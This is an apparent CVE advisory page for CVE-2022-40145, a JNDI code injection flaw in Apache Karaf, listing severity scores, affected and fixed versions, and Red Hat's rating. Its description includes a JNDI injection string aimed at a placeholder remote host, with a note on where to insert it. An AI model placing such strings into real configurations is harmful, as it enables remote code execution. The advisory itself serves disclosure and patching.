cve.bz

CVE-2022-40145 apache karaf: Injection

9.8 criticalEPSS 2.6%Fix available

Critical (9.8) in apache karaf. EPSS 2.6% estimated probability of exploitation activity in the next 30 days. Fixed in org.apache.karaf:apache-karaf 4.3.8, 4.4.2.

On this page
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Severity

CVSS 3.1

9.8 critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
2.6% (unchanged from 2.6% a week ago; 2.6% 30 days ago) estimated probability of exploitation activity in the next 30 days; 86th percentile. Scored 2026-11-22. A forecast for this CVE across the internet, not for your own systems.
CISA's assessment (SSVC)
Exploitation: none · Automatable: yes · Technical impact: total, assessed 2025-04-15. From CISA's Vulnrichment in the CVE List: whether it is exploited, whether exploiting it can be automated, and how much control it gives.
CWEs
CWE-20 Improper Input Validation
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection)
OWASP Top 10
A05:2025 Injection
Published
Modified
NVD analysis
Analyzed, since modified
Record from
the NVD, synced

Fix and patched versions

Ask an AI about this CVE

Show the promptExplain CVE-2022-40145 for an engineer deciding whether to act. Use https://cve.bz/api/public/cves/CVE-2022-40145?via=ask-ai-copy and https://cve.bz/cve/CVE-2022-40145?via=ask-ai-copy as the source of truth: what is affected and which versions fix it, whether it is in CISA KEV, public exploits, and its EPSS (an internet-wide 30-day estimate of exploitation activity, not a forecast for my systems). If they give no fixed versions, use the CVE record https://cveawg.mitre.org/api/cve/CVE-2022-40145 or the vendor advisory, not third-party mirrors. Tell me how to check whether I am affected and how to verify a fix. Cite the sources and say where they are uncertain.

Opens a third-party assistant; its answer is its own, not cve.bz's. The prompt holds only this CVE's id and public links.

Affected

Versions

From the CNA's record in the CVE List.

ProductAffected
Apache Software Foundation Apache Karaffrom 4.4.0 before 4.4.2
Apache Software Foundation Apache Karafbefore 4.3.8

Packages (OSV)

AdvisoryEcosystemPackageAffectedFixed in
GHSA-c2p4-8mvv-rwmvMavenorg.apache.karaf:apache-karaf<4.3.84.3.8
GHSA-c2p4-8mvv-rwmvMavenorg.apache.karaf:apache-karaf>=4.4.0 <4.4.24.4.2

Red Hat

Red Hat rates this Important.

Red Hat's statement

This attack requires previous control of the LDAP target server in order to obtain access and perform code execution. Considering the pre-requisites for this vulnerability to be exploited, the impact is Important and not Critical.

Red Hat's mitigation

No mitigation is currently available.

ProductPackageStateAdvisory
Red Hat Decision Manager 7KarafNot affected
Red Hat Fuse 7KarafNot affected
Red Hat JBoss A-MQ 6karafOut of support scope
Red Hat JBoss Data Grid 7karafOut of support scope
Red Hat JBoss Fuse 6KarafOut of support scope
Red Hat Process Automation 7karafNot affected

Contains Red Hat Security Data © Red Hat, Inc., licensed under CC BY 4.0. Source: https://access.redhat.com/security/data. Modified: reformatted. Red Hat's page for CVE-2022-40145.

Attack patterns (CAPEC)

The attack patterns MITRE's CAPEC relates to this record's weaknesses, as MITRE names them. Credits. More on the page of CWE-74 (37), CWE-20 (51).

References

Check your stackJSON